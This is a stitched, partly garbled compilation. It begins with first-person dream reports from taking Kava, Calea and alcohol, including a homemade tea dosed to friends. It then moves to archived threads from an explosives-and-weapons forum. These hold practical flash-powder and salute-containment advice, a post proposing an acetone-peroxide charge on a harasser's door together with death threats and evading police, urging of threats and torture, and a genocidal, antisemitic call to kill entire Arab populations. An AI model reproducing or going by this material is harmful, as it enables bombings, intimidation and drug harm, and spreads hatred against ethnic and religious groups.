time. But that all faded when the memories of the dream that I had that night came to light. That dream, was probably the
single most mind-blowing experience I have ever had. As far as I can recall the dream lasted from the moment I fell asleep
to the point of awakening. The thing that was weird about the dream was that I was totally immersed into it. I could control my
actions and was quite coherent in the dream. It felt like a movie where I was the star, with the point of view of a camera
following me around. The dream was complete with each of the 5 senses and it was more detailed than any other dream I
have ever had. I even felt emotions and pain in the dream. Its hard to put words to this experience so please excuse the
bland details.
Over all, the experience didn't change my life but provided me with some entertainment while I was sleeping. I have had very
in-depth dreams before but none as far in as this was. I was in a very clear and levelheaded mind set when I took the pills,
and the experience was set in one of my more favorite places, my bed.
We cracked open a few beers while playing some darts. I don't think my accuracy was affected negatively or positively. Like I
said, I was just calm. I ended up drinking quite a few beers (for me, that can be 6). I went to bed feeling a bit drunk. Total
time passed, probably about 5 hours since the first pill.
It was in my sleep that I had the most incredible, insane, unbelievable dream I have ever had. I'm not sure I want to dream
that dream ever again. It was so incredibly vivid. This was the most real dream I have ever had. It took me to a number of
real world places that seemed exact, right down to all the people! Even their faces! There was no supernaturalness to the
dream. The insanity came when, in the dream, I couldn't stop myself from tripping (like on acid or shrooms). I would trip
extremely hard and not know what my physical body was doing for these times and I could not control when or where this
happened. This was incredibly scary since I thought it was real. At one point, in my dream, I was on the floor in a fetal
position, at my place of employment, SCREAMING, because I thought I was insane. I ended up working out the tripping issue
in the dream (after 'days' of trying), but still woke up with a sense of disbelief. For almost that entire day, I was unsure as to
whether or not I was really awake. I can't say it was pleasant. When I thought I had recovered, I told my friends about it and
they said something like, 'Dude, it's not over.' and I didn't know how to handle that. I was very confused and worried for about
half an hour after that. Eventually, I accepted this reality as real but I must say, I had my doubts.
I tried for a lighter experience by taking 7 capsules before going to bed but I don't remember anything.
Another night, before going out, I ate 8 capsules. While out, I had a few drinks (a few, enough to get me buzzed but not
drunk), and then went to bed. I had another AMAZING dream, but this time without the insanity and doubt the next morning. I
remember it being extremely colorful.
So, my theory is that a little alcohol and some Kava Kava extract will really make for an exciting night of sleep. While awake,
it's just good. While asleep, it's quite amazing.
The only other thing I can say about the Kava is that it might have influenced my dreams that night. I got a lot of vivid
dreams that I could easily remember when I woke up.
My conclusion: Kava prepared the 'wrong way' did nothing at all. Kava prepared 'the right' got us sleepy and maybe a little
'numb in the head'.
When I went to sleep I slept VERY hard and had very vivid and colorful dreams. The dream that caught my attention the most
was of a welcome back party for one of my friends. I was sitting in a chair talking to people. Then I looked out these 3
windows that were side by side. I noticed that the windows were actually a TV screen on which a movie like White Fang was
playing (lot's of Alaskan scenery and snowy mountains). I got so engrossed in the movie that I began to feel like I was
actually in the movie. I soon became a character in the movie. The crazy thing was that I would alternate watching/being in the
movie and looking back at the party to talk to someone. This was the first time that I have ever had 2 dreams at once.
I've experimented more with Kava, even finally trying it with hypnosis although this relaxed me so much that I fell asleep.
However, I have never experienced the simultaneous dream effect again. I'm a lucid dreamer and I've experienced weird stuff
like waking up in the middle of a dream and then going back to sleep and continuing the dream from where I stopped. I've
even dreamt that I woke up. However, the switching back and forth between dreams 'mid story' is something new. I do realize
that since my dream patterns are strange anyway, this could have had nothing to do with the Kava. Sounds like an excuse for
more experimentation! ;)
I remember dreaming a lot and sleeping very deeply, but I don't remember the dreams or what they were about.
Sleep is deep and restful, with many vivid dreams. This effect seems to be cumulative, in that it gets stronger with subsequent
use. The effect on dreaming also seems to be retained; it continues for a few days after stopping the Calea.
and was then followed by the best sleep I ever had, with lucid dreams and virtually no interruptions.
When I finally feel asleep, I have very vivid, realistic dreams. Kava + Valerian was a very subtle combination, almost
unnoticable. It wasn't worth paying for, but it's still an interesting experience.
The Kava seems to do three things:
3) It is maybe the best remedy for insomnia that I have ever found. Sleeping on the two substances is relaxing on a
different level. Even my dreams tend to be better
Goodluck and kava pleasent dreams...
Unhealthy food, visions of evisceration, and flashing. Nothing positive went near my body before I went to sleep, and I paid
for it.
Perhaps this isn't a 'trip' report, but I feel that the substances had a definite effect upon what came to me in sleep. I am what
one would call a 'disturbed' individual. Not a single dream can I EVER recall in which there wasn't the object or threat of voilence
and/or death. Blame violent media, I guess.
The standard type of nightmares came about--pistol whippings by a 9 foot tall psychotic bum--and the always accompanying
religious imagery--hunting Angels in great Obelisks and catacombs, but that night I was struck by visions of a more striking
magnitude:
'Welcome to the Black Church. Prepare for Death.'
Those words still make my skin crawl to hear. In sleep I found myself in what I can only describe as 'a multichurch.' Inside of
a great granite building seemingly carved from a single slab, I stood in an grand foyer which branched off into six
congregation halls, all carpeted in blood red and filled with large gothic columns, flashing brilliantly as if from lightning flashes.
Each hall had different definition of suffering or pain described in it--but I can only remember two of them. I was led by one or
two floating humanoids who were totally engulfed in black robes--somehow translucent in the lightning flashes) past the hall (if
only I could remember all of them!) one of which had statues of horror movie characters all flashing terribly. I gave a passing
glance in this hall and felt my stomach twist, but kept following. I was taken into the second to last hall, which was completely
darkened except for the lightning flashes--which were much less frequent here. I walked in and was inundated with what I
describe as 'the horror of confusion.' The walls were covered with paintings of no possible earthly origin--black and white
murals overcame me with their complexity. The complexity of the how the elements were interworked--and oh god how they
changed with every flash of light. It was as if the walls were alive. I fell to my knees and (one of?) the hooded figure(s) turned
around, stared me in the face and summarized the pictoral message on the walls in two sentances.
'Welcome to the Black Church. Prepare for Death.'
I woke up a mess--it took my girlfriend 10 minutes to convince me that I wasn't dying.
Moral of the Story: The unexpected WILL happen one day, and be aware of your environment. Always.
From then on I had the most extreme and intense 'dreams' I have ever had. They were so real I felt as though I had slipped
into another dimension rather than sleepy land. All I can say is any one who likes wild and vivid dreams this is definately a
good combination.
Waking up the next morning at 6:30 AM almost void of any after effects I was filled with memories of vivid dreams.
I could recall vivid states of intense euphoria, though I couldn't recall what actually felt good about it. Just that I had felt that
way. There were no definite story lines to note, but a memory of vibrant images. Mostly scenes with colorful sets, familiar
faces. It all seemed very real.
In retrospect I figure half dosing the Kava, and maybe excluding the 5-HTP would have allowed me to be more conscious of
the dreams.
DOSE : oral Calea zacatechichi (tea)

oral Kava (tea)
I made a tea with a bag of Kava Kava and a bag of Calea. I filled a 36 Oz Emptied fruit bottle out, threw in the kava and the
calea and some tea bags. Put in hot water and shook it up like mad. After an hour or so we drained the stuff out. Word had
been going around that I had some herbs that gave you dreams and I had friends asking left and right for tea. I posted my
first experience, and I'm going to give somewhat detailed experiences of my friends. (The 36 WRETCHEDLY tasting ounces
went in a day in a half :)).
----------------------------------
Myself -
3 bowls smoked (Calea) - Vivid realistic dream that I mistook for reality the next day.
2 joints and a cup of my tea mixture - I had a dream of smoking out my dorm window and getting in trouble with authorities.
Never happened yet I thought it did for a while the next day.
3 cups of my tea - Nothing on day one, I was somewhat euphoric and relaxed, I kept dropping objects and couldn't stop
questioning reality, but the next day I had a hardcore dream with odd events, but I forgot what happened since I fell back a
sleep after I woke up in the middle of the dream
----------------------------------
Participant 1 -
2 Joints (Calea) also with previous THC use - Noticed clearer thoughts, he had sex with his girlfriend in his dream, and when
he woke up, stunned she wasn't next to him and then realized it was a dream, so realistic he ejaculated in his pants while
sleeping.
About 2 Cups of the tea and some THC use - He became extremely hyper, took a tab and ended up never sleeping.
----------------------------------
Participant 2 -
1 Joint and a large cup of tea - We both noticed not being cold in cold weather for about 40 minutes. He slept, felt that he had
a lot of dreaming but didn't remember anything.
----------------------------------
Participant 3 -
One cup of tea (mixed with Chocolate Milk to wash down, not bad) - Had a vivid dream that he could create a blue portal and
teleport to any location he wanted to.
----------------------------------
Participant 4 -
A cup and a little more - Never mentioned anything to me about dreaming, but he actually liked the taste of Calea and Kava
mixed! Two of quite possibly the worst tasting herbs.
----------------------------------
Participant 5 -
A little less than a cup - She claimed her dream to be very mind purifying. It consisted of her being back in Middle school in a
sewer area with flowers everywhere. Her friend who had commited suicide in high school talked to her in the sewer.
----------------------------------
Participant 6 -
THC, a little alcohol, and my Tea - Nothing.
----------------------------------
Participant 7 -
Tea - Probably dreamt, but couldn't remember anything
----------------------------------
Participant 8 -
Tea - Just drank some
----------------------------------
Don't ask me what caused me to mix Kava and Calea, I had both herbs lying around and I was quite bored. Me and Part. 2
decided to make a bit of tea and we liked it. It made us feel warm in the cold, and relaxed. My friend's hip pain was
completely unevident.
Overall, I liked the mix. I drank three cups over a period of three hours. I noticed my eyelids force closing after exerting my
body, and I would drop stuff as if I had been up for a few days straight.
Music was noticably better, I was very relaxed. Later in the night I started going crazy, as if I was watching everything from a
movie. I couldn't stop questioning reality. The night had been very wierd, and I couldn't help having thoughts like, maybe the
world is all in my head, and since I drank the tea thats why everything is wierded out. I didn't feel too messed up, but when I
woke up in the morning remembering the night before I noticed a bit of a change.
From what I noticed, the Kava might make it harder to sleep, but it may just be that anticipation of dreaming that keeps me
up. But the relaxation of the Calea, and the Kava effects mix well for a night you don't have anything to do on. Almost like a
tranquilizing effect. I also noticed it doesn't really matter how long you take the Calea before sleep to really make a
difference. In fact, most of the best experiences came from drinking the tea earlier in the day.
I hope this sheds some light on this underated herb. I plan on buying a lot of Calea and running some somewhat proffesional
tests on Calea, making sure no one mixes any other drugs with it, how long they wait to sleep etc.
I mean I sleep every day, so every day I have a chance to try a new formula. Personally I feel all the drugs listed above are
key players, if I had to shorten the list, I would take them off in this order: sleeping pills,St. John's Wort,B6,Nerve Tonic.
Those are what I would part with if I had to. The other three(kava,valerian,melatonin)are a must. Also I didn't like having to
give up the Tonic and B6.
Anyway, I previously described my usual formula for a great night of dreaming. With this recipe, I have experienced the most
real and entertaining dreams I've had. What I mean by real, is that I get so invovled in them. I really feel like they are
happening. When I wake up, I can remember so much of my dream and enjoy the memories they create. In a way they are
so real they become surreal. I've had dreams where once I wake up, immediately think I have to do something, that I'm late
for something, or think I'm somewhere else than my room, and I then realize that that thing was just my dream. And it is
such a great feeling to just revel in the fact that I don't have to do something, I'm not late, and I am in my room. I have also
found that I have more control over what happen in my dreams. I can't necessarily create a whole experience so much as
dictate what I do in a situation. It's not like you're watching from the sidelines any more. You can think and reason wht you
are doing or what yo want to do. On the wierder side of things, there has been a dream or two where I saw into the future. I
saw things I would do that day and things that would happen, and I did those things and those things happened. It creates
the most pleasureable feeling of deja vu because I can remember the dream from the night before.
In short, sleeping(dreaming) has become one of my favorite things to do. My days and nighs are back to normal(although
some nights I do turn in a little earlier. Just to get some extra dream time. The way I see it is I have to sleep and in turn
dream, why not make it a better experience.
We slept a very strong 7-9 hours each day...and on the final day -- we both had intense dreams.
GibbsFreeEnergy October 1st, 2006, 07:12 PM

As for experiencing psychedlic effects via entheogenic catalysts, I'd recommend using some well known drug like mescaline or
lysergic acid diethylamide. Muscimol (the active principle in Amanita Muscaria; plus ibotenic acid) is one of the hallucinogens
that is rather commonly associated with "bad" trips and reactions; e.g. the muscle twitching and discomfort you have
mentioned. The best hallucinogen, strictly in my opinion, for a first time experience has to be psilocybin. These mushrooms
come on rather gradually and let you experience something like you've never experienced before. I believe psilocybin mainly
acts as a partial serotonin agonist, recreating the effects of serotonin on the brain. A rapid tolerance to psilocybin is built up
because of this physiology. What you will experience is a feeling much like being stoned, yet amplified in many ways. Your
body will reverberate with an overall feeling of vibrance, your vision will seem brighter, sharper, and far more interesting than
ever before. Edges and patterns will tend to meld together and certain textures will appear to be "breathing" to some rhythym
be it music or your own respiration. Psilocybin makes the user question everything- you will have no sense of ego on this drug.
Never take any drug unless you are well prepared mentally, physically, and have a place to go with comfortable people and
people who are capable of tending to you in an inebriated state. Use caution and logic. It is my feeling that this is the main
reason mushrooms are becoming outlawed; it makes users realize how outlandish our society has become.
+++++++++++++++=
No amount of mushrooms will make the above post easy to read. Only paragraph breaks can do that. ;)
NBK

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Poor Flash Performance
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FlashBang August 3rd, 2006, 09:56 PM

This isn't my first post so I hope I don't get flamed for this. Although my post count is 0 I have posted in the Water Cooler before. I have a question regarding flash. In a dream
I had I was using a 70/30 mixture of per/al.. However I think the al may be spherical since the burn rate is terrible. Later on in the same dream I experimented with containing
it and for some reason it just keeps blowing the ends out of the salute and not even touching the card board. Both 3/32" and 1/16" walled tubes were untouched. The only
thing missing were the end caps which were hot glued into the salute. Do I need some better Al or a better way to secure the end caps?
Thanks
texaspete August 4th, 2006, 02:18 AM

Try two layers of duct tape to cover the end caps. If it goes bang, then I'd say the glue isn't strong enough. If it burns through the duct tape, I'd say there's a problem with
your flash.
Coogan August 6th, 2006, 12:56 AM

It might be your aluminum if your using something like 600 mesh.You should be using something over 1000 mesh. Most people get good results with something like german
dark. You could try wrapping the whole thing very tightly in electrical tape and see if that helps any.
FlashBang August 6th, 2006, 10:06 PM

Can anyone recommend some stronger types of glue for a 100 degree glue gun? I know there are industrial glue guns but they burn at 380-400 degrees... I'd be a little
worried using that around Flash in my dreams... What about any types of fast drying epoxy?
FlashBang August 9th, 2006, 10:56 AM

I know taping them would make it better but I Don't want my salutes to look ghetto rigged. I think the problem is that I was using Theatrical Flash because I just ran out of
70/30. Anyone agree?
ucorky August 10th, 2006, 11:36 PM

Did you measure by weight or volume?
Thorr August 11th, 2006, 08:53 PM

Well, almost all theatrical flash powders are made too slow to be of much use in salutes unless if the casing is really well contained. These flash powders are usually over fueled
to produce a better/brighter more spectacular effect on stage than to produce a boom.

Over fueled YES! There is a bottle A) I am guessing KCLO4 I did a burn test with it and some sugar and it behaved exactly like my perc that I have now, and bottle B) is AL or
Mag or Mag/AL not sure is there anyway to tell? Might mix well with some perc. Well a word to some people thinking about getting this because it is readily available... Don't!
True it will bang and it will flash, but it constructed to burn much slower and only works with massive amounts of tape around any type of salute. It also seems to burn slower
in larger amounts.
Bert August 14th, 2006, 03:50 PM

Theatrical flash is designed to NOT blow up the concussion mortars it is made to be used in. Standard salute type flash powder should never be used in these mortars, you will
blow them up and send steel into your audience/cast.
Some formulations are designed to produce their effects from a cloud of vaporized Mg air burning above the mortar. Yes, these mixes have way more than a stoichiometric
amount of fuel.
If you're trying to make salutes, don't waste time and money trying to misuse expensive binary theatrical flash- Save it for its intended use.

Compared to the 70/30 mix there is a huge difference. I am fairly new to this and was unsure... But now I see the difference is night and day. Thanks for all your replies. I will
never use that stuff again. Everytime the salute went off it reminded me of a magic trick. Only thing is I couldn't find the fairy after the poof of smoke. LOL

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Favorite Music?
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Tectonic A ugus t 7t h, 2006, 12: 09 PM

As the title says, list som e of your favorite bands, m usicians, ge nres, ect.
E m i n e m , Disturbed, Metallica, Tupac, Imm ortal Technique, Bruce Springsteen, Charlie Daniels, Lynard Skyn ard, Led Zepplin,
David Essex, Jerry Re ed, Jimm y Buffett, ZZ Top, Styx, just to nam e a few... How about y'a ll?
Defendu A ugus t 7t h, 2006, 01: 04 PM

http://www.roguesci.org/theforum/wate r-cooler/2905-films-songs.html
Sausagemit A ugus t 7t h, 2006, 05: 01 PM

I really like IDM/jazz fusion (might as well be lum ped into one catagory), prog metal/rock, funk, m etal, acid jazz, and
indu strial.
Bands that are my favorite that go in the order of m y nam ed favorite genres: Aphex Twin, Squarepusher, Garage a Tois, Chick
Corea and Return to Forever, Miles Davis, Morp hine, Buckethead and everything he has been involved with, Dream Theater,
Pink Floyd, Liquid Tension Experiment, Tool , P arlim ent Funkadelic and all re-encarnations thereof, Les Claypool and
everything he has been involved with, C hildren of Bodom , Samael, Iced Earth, John Coaltrain, Charles Mingus, Chick Corea,
NiN, Mortis, Liabach.
Thats a pretty good list don't ya think.
festergrump A ugus t 7t h, 2006, 05: 11 PM

This thread's been done before...
http://www.roguesci.org/theforum/wate r-cooler/4537-favorite-song-favorite-band-thread.html

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > O CR'ing FTP
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lider_revolucionario A ugus t 8t h, 2006, 12: 07 PM

I was looking the FTP and saw that there is a reasonable am ount of books not OCR'ed. So I was thinking in doing this for
help ing those guys without broadband to have access to these b ooks. I've started OCR'ing PMJB vol 1, and I'm a t p a g e 2 0 ( I t
is a huge work!). If anyone interested in helpin g post here to people know what is in progress already.
Anira August 9th, 2006, 01:53 AM

For som e r e a s o n I a m g e t t i n g the impression you are typing it and not o cr'ing. OCR is quite quick for the first stage and the n
s h o u l d b e p o o f r e a d . T h e f i r s t s t e p s h o u l d t a k e a f e w m inutes for a com puter to calculate.
lider_revolucionario August 9th, 2006, 10:27 AM

For som e r e a s o n I a m g e t t i n g the impression you are typing it and not o cr'ing. OCR is quite quick for the first stage and the n
s h o u l d b e p o o f r e a d . T h e f i r s t s t e p s h o u l d t a k e a f e w m inutes for a com puter to calculate.
The point is that som e books are very hard to getting O C R ' e d . B y a n e x a m p l e , t h e b o o k I ' m working on a huge am ount of
letters aren't recognised correctly. in part due to the small size or to problem s on scanning. Even the ABBY FineReader 8.0
can't do this part. This genera lly happens with old books.
nbk2000 August 11th, 2006, 07:07 AM

W ith books that won't O CR, there's generally very little reason to bother with hand transcription of the contents. It's not like
you're typing up the Bible or Mein Kam pf. :)
A r e a s o n a b l e c o m prom ise would be to type up the Index or Table of C ontents, m aking that searchable, and providing inline
links to the relevant pages. That's what I did with the PMJB series.

Tim e is also on your side. With each passing year scanning technology improves, and OCR accuracy increases. It may be an
easier matter to sim ply redo a poor scan in a few years. I would rather spend my effort OCR'ing better quality, but un-OCR'd,
b o o k s i n s t e a d of m anually tra nscribing the tough ones. Pick the low hanging fruit first, and hope for better recognition in the
future.
T h e G a m e r a O C R e n g i n e h a s a v e r y n i f t y c h a r a cter iden tifier that lum ps every occurrence of a lette r into a single graphic grid. I
wish Abbyy had some thing like this because it would m ake training user patterns much faster. Unfortunately for Gamera it is
s o m e incom p r e h e n s i b l e * n i x b a s e d a p p t h a t l a cks every other u seful feature of Abbyy. Perhaps, in a few years, someone will
stea l the idea.
G a m e r a i s o n e e x a m p l e o f a v e r y u s e f u l t e c h n o l o g y t h a t just isn t ready for prim e tim e c o n s u m er use with a handy W indows
based GUI. Xerox scientists are hard a t work im proving heuristic recognition of text. Each new version of Abbyy, or O m n i P a g e ,
im proves recognition accuracy. Give it tim e

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > New weapons used in Lebanon
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hieronymus August 10th, 2006, 05:33 AM

I got this from serious source and would like to hear the opinion of the freaks:
By now are countless the reports, from hospitals,

witnesses, armament experts and journalists that
strongly suggest that in the present offensive of
Israeli forces against Lebanon and Gaza 'new weapons'
are being used.
New and strange symptoms are reported in the blessed

and dead.
Bodies with dead tissues and no apparent wounds;

'shrunken' corpses; civilians with heavy damage to
lower limbs that require amputation, which is
nevertheless followed by unstoppable necrosis and
death; descriptions of extensive internal wounding
with no trace of shrapnel, corpses blackened but not
burnt, and others heavily wounded that did not bleed
Many of these description suggest the possibility that

the new weapons used include 'direct energy' weapons,
and chemical and/or biological agents, in a sort of
macabre experiment of future warfare, where there is
no respect for anything: international rules (from the
Geneva convention to the treaties on biological and
chemical weapons), refugees, hospitals and the red
cross, not to mention the people, their future, their
children, the environment, which is poisoned through
dissemination of Depleted Uranium and toxic substances
released after oil and chemical depots are bombed.

You should put that in a quote and give us the source.
would like to hear the opinion of the freaks:
Whats that meant to mean? Were freaks? I think I know what you meant by that but try using a less insulting word or NBK could ban you.
Also youve posted this in the wrong section, I see your relation with "chemical weapons and chemistry but it should go into the water cooler and in some cases "battlefield
chemistry"
The symptoms could be various chemical/biological weapons, but if one sole weapon doesnt cause these effects it could be a mixture.
EDIT: Forgot to add, you should read the rules before posting, the E&W forum is very strict and you could get banned in a heartbeat.
nbk2000 August 10th, 2006, 08:37 AM

I've seen the same videos, and they can all be explained by very mundane causes.
A) Death and subsequent decay in very hot and dry enviroments.
B) Exposure to blast weapon effects
C) Primitive 3rd world medical care
To wit:
Bodies with dead tissues and no apparent wounds (B)
'shrunken' corpses (A)
civilians with heavy damage to lower limbs that require amputation, which is
nevertheless followed by unstoppable necrosis and death (C)
descriptions of extensive internal wounding with no trace of shrapnel (B)
corpses blackened but not burnt (A)
others heavily wounded that did not bleed (B)
Any further questions will have to be directed from the afterlife of HED, because us 'freaks' are very sensitive about such hurtful statements. ;)
I'd also like to point out that the Red Cross isn't what they use in the middle-east, but the Red Crescent.
There's no oil in Lebanon, nor any reported use of Depleted Uranium. If any chemical weapons dumps are blown up, it's not because we brought them over there to poison the
innocent arabs, but because their own leaders had them there already.
Oh, and US forces aren't there, but Jews, so whine about the Jews killing arabs, rather than thinly-veiled snipes at America.

hieronymus boshed.
It wouldn't suprise me at all if the USA used the Israeli army to test new and wonderous but illegal top-secret toys that were probably/possibly only of marginal value
(operational analysis wise), though. After all, the main reason for the Iraq war was oil and testing the armed forces out against something a bit tougher than the Afghans.
nbk2000 August 12th, 2006, 06:15 AM

At least the US has gone back to believing in quality control and testing to destruction. ;) :D
simply RED August 13th, 2006, 03:19 PM

It is good that the new members like hieronymus try to work on new "cases".
Anyway, there are no new "military" weapons last years. Ammericans are working on some lasers (it is doubtful that the projects will ever be completed), russian on some new
rockets and so on - but not significant progress.
The lack of progress could well be explained by the poor situation the natural sciences are nowdays.
The cases with these "suspicious" victims also have very conventional expalanations...

35 years ago the US fought the Soviets "by proxy" in Vietnam. Today we have the jews fighting the arabs for us by proxy. While there are likely many new toys for the troops
to use, the sad thing is the average arab is still using the same weapons from the Vietnam era... As soon as I read this thread my mind screamed what nbk so succinctly listed
as item C.
I still say the only way the jews will have peace is to kill every living man, woman, and child in the surrounding raghead nations. Once they win they can rewrite history to their
liking. "Who knew," says the jew?
nbk2000 August 14th, 2006, 06:50 AM

It might be more like we are fighting as proxies for the Jews in Iraq, soon Iran, then...
dave101 August 15th, 2006, 10:33 PM

Why do you suppose the Israli's are having such a tough time? Back in the 80's they advanced all the way to Beirut with no trouble at all.
The newspapers are saying that it is because of advanced anti-tank missles, but I don't believe that is the only reason.

Yes, fear of anti-tank weapons that can kill your expensive heavy tanks is a real killer of your motivation to advance.
Don't forget, if a tank rolled up to your local town, and started squashing things, you would be probably the only person there with a clue about how to stop it, and probably
you would lack the means, until the army turned out. This is true even of an early WWII tank twice your age.
In an M1, the attacker could probably flatten most of the town without any risk of capture or being killed until seriously good weapons were brought in.
Now imagine doing the same thing in a bulldozer with 2" plate - you'd be watching for certain things, like SWAT arriving, as they could get you.
Finally, imagine doing it with a plain bulldozer - a local guy is likely to beat you to death with a thrown rock before you get that far!
Without the hi-tech anti-tank stuff the Isreali army could operate anywhere they wanted at almost no risk, much like the US army in Iraq.
There is another aspect, though. The Times had an interesting and long article about what was happening, and it seems that the Lebbo's guessed what the Jews were going to
do, and acted acordingly. One quote was very funny. "We were expecting three men, an AK and a tent. What we found was a hydraulic steel door."
If the Isrealis had charged in full strength as a military invasion, sweeping all before them, they might have gotten a lot further. However, the locals had set up ready for small
teams coming in at them, so had laid traps, and set up nice ambushes all the way around, with well defined kill zones, and trained men would knew how to wait before
opening fire. The small and highly trained teams went in, and got cut up badly. Sure, they got about 3 to 1 kill ratio on the attack, but that's not good enough for a modern
western army, and those were the best troops they had.
The Jews then sent in reservist troops who had no training, and things went further south.
The basic error was that they sent too few troops to do too much in too large an area.
Oh, and they also found out the hard way that the Lebonese had cracked the "secure" frequency hopping military radio, so were able to work out exactly what was happening
and tell the world before the Isrealis, helping to win the media war.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Want Help with Cell phone hacking
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rational611 August 10th, 2006, 11:59 AM

I think this is a weird question to ask in a forum such as this, but here it goes.
Does anybody here know how to clone cell phones (both CDMA and GSM). I looked around a few places but could not find anything of real help. I looking for tutorials or how-
to guides which could guide me through the whole process. I suspect someone has been snooping around me, reading my emails, listening to my phone calls and reading my
sms. He has shown me evidence that he knows what I am doing and has even produced emails from my inbox. Its like he is reading my mind. He is pulling the strings and has
me edgy. Now I want to pay him with his own ware. I would really appreciate any help.
Anira August 10th, 2006, 01:12 PM

Well first step is to change your email password and make sure to not set "remember me" so you will have to sign in each time. This will help solve your email problem.

You seem to have no experience in cell phone hacking, what makes you think you could beat somebody at his or her own game?
I dont think you should try, they would just find out and stop, leaving you with no success and no knowledge of who it is.
A better idea would be to track the person down. I dont know much about tracking someone down digitally but you could get the police to do it for you just tell them
your going to press charges or use a solicitor to help you with it.
The only way I think you could track the person down through the internet, is to get their IP address.
If you can get the persons identity you can change your GPS, change your passwords, make sure they cant hack you in any way then start fucking with them (some time after
you have got their identity).
First I would put a nice charge on AP on their door, then I would post many threatening letters which I would keep coming for a few days saying I am going to kill them when
the time is right.
6 months after I stopped, I would put one more explosive charge of AP to damage their new door. Leaving a message on their door saying, I will always know who
you are and where you live. I m still after you giving them the impression that Im a psycho killer who wont stop until their dead.
I would make sure that if the police come on to my property there is no evidence, no trace, nothing that will link me to my crimes.
My answer to the polices questions would be I have noting to say and I would know the police interrogation techniques.
But you probably wouldn t want to do all this, with the use of explosives etc. You could just cut their power cables or smash a window to get even :D.
Always remember nobody can see what you are doing, and never leave any evidence around when committing crimes of any sort.
nbk2000 August 11th, 2006, 06:51 AM

This is dangerously close to a spoonfeeding request...
Zajcek August 11th, 2006, 01:09 PM

Even if police hacks your phone or email box, they can't use it as evidence if they did not have a warrant to collect this type of info.
My advice to you is:

1. If you use the new type of smart phone, install anti-virus software
2. Change all of your passwords
3. Install a new version of software to avoid vulnerabilities in software
4. Don't let your phone lying around so that people can gain physical access to it
5. Everything else the other forum members wrote.
If you know who that person is, you could report him to the police. Stealing data by unauthorized access is a criminal offense. ( at least in my country ) If they will be able to
prove it, he will pay a lot of money and he might even go to jail.
If he's got some ticklish photos of your girlfriend and you, then I'm very sorry for you. Just pray he will not publish them somewhere on the net.
B.T.W. blackmailing is illegal to. You can report him to the police, if he's not blackmailing you with some sort of evidence. If that's the case, then you're in deep trouble.
First ask him politely how he did it, if he won't tell you, then you could always kick the guy's ass, threaten to kill his family, torture him...Fear is your friend in this game. Use it
against him. Maybe he will tell you how he did it when you scare him enough. :D
rational611 August 12th, 2006, 01:15 AM

I changed all my passwords long back. But I suspect he is using the services professional hacking websites such as crackpal or hirehacker.com or one of the many out there
that exist. I still doubt how effective these guys are and if they really can do what they claim to do. Supposing they can do these things, then this guy must be rich. Does
anyone have any experience with these professional hackers?
NBK: I have a lot of respect for you and your know how and I am only a junior member and hence I rarely open my mouth because you know so much and I want to learn.
No, I dont think this is close to spoonfeeding. I know the rules and I have done a fair amount of research before asking this question here. There are no standard cell phone
hacking tutorials out there. If there are and if I have missed them, then please guide me to them. However I think I have found someone who will help me. I think I am
making some progress.
c.Tech said
"You seem to have no experience in cell phone hacking, what makes you think you could beat somebody at his or her own game?"
Well when I first came here I did not know the difference between an explosive and a bomb. I did not even know what AP stood for. Since then much water has flowed under
the bridge and I have learnt much thanks to all the guys here. When I was in school I once came across a line which said "It is very hard to win, but you will never win if you
never start". Maybe that sounds very ideal, but that has been my motto ever since. I also cannot follow your advice of putting AP on their door, because the police here is
behaving much like the Gestapo. It would be straight traced to me, because many in my friends and family circle know that I am the only one here that has such wierd
interests.
My apologies, if I have offended anyone.

What kind of cell phone are you wanting to "hack"? And what do you plan on doing with this "hacked" phone once you are done? Example: track somebody's movement with
a phone, listen to there phone calls, insert loud yelping noises into there conversations. To do all of those without hardcore equipment and software you would have to get a
hold of the said targets cell phone and do some creative programming, which can be very hard with a CDMA phone.
I do have quite a bit of experience with motorola's and could probabbly either tell you what to do or direct you to somebody who could. But as far as general hacking goes on
phones, I hope you have a lot of time on your hands because it will and does change from model to model within a make of phone. There is no magic code or anything like
that for hacking a cell phone.
nbk2000 August 12th, 2006, 03:06 AM
If a specialist tells you it's cancer, you don't tell him "No, I don't think it is". :rolleyes:
If the admin tells you it's dangerously close to spoonfeeding, and you try arguing the point with him, it becomes spoonfeeding, thus banned. :)
And yes, there are sites that explain all about this. And yes, I have the links for them. But no, you're not getting them, for that would be rewarding the undesired behaviour.

rational - In your first post you seemed to have very little knowledge of hacking because you were "looking for tutorials or how-to guides which could guide me through the
whole process."
If you have such little knowledge and there is somebody who is obviously much better than you, why bother, youre going to fail. If you fail and never find out who
they are you will have no chance to get even.
In your second post you seem to know much more so I apologize.
I also cannot follow your advice of putting AP on their door

I wasnt suggesting that you should do it, it is incredibility stupid, I only stated that it would probably be what I would do (something incredibility stupid) I can get a bit
carried away at times :(.
pop5m3sub August 13th, 2006, 02:07 AM

rational611 I think you should be listening for them. If you reread the posts you find out some very good advice.
Beside I think this forum not just like ( I Wanna >>> here you go )
anonymous411 August 20th, 2006, 05:36 AM

"Hack him back," are you kidding me? Speaking as someone who's worked a junior analyst at a major national security think tank and spent four years as an industrial
intelligence HUMINT collection specialist, I can assure you if a real professional ever got up your ass, it would be all over but the crying.
The desire to educate yourself is admirable, but there's not a thing any newbie tutorial will do for you in the short term to solve your problems. In fact, I'd say you'd probably
need about four or five years of training before you'd reach the level of competence needed to even begin to comprehend the scope and magnitude of exactly how fucked you
are. Seriously.
My advice: Cancel your phone service, or be crushed like a bug. Your choice. Starting over with a pay-per-use phone might be inconvenient (and it might not solve your
problem at all), but is "standing your ground" and fighting this prick really worth your time and energy? Give it up and get on with your life. Hell, if it's bad enough, "disappear"
yourself to another city in the middle of the night. Pick your battles; trying to get vengeance against opponents of unknown resources and capacities is a fools' errand.
"When I was in school I once came across a line which said "It is very hard to win, but you will never win if you never start".
When I was in school I once came across an even better line which said "the only way to win is not to play".
There's no shame in knowing when you're whipped. I think all of us could do with a reminder: never let your ego get in the way of knowing when it's time to fold them and
run. Just remember, "cowardice" is nothing more than the body's awareness of its own weakness, and "bravery" is nothing more than the body's acknowledgement of its own
strength. And in the end, the only thing that matters is keeping yourself alive to see another day.
Something to think about!

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Non-lethal devices
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the_twitchy1 August 12th, 2006, 10:45 AM

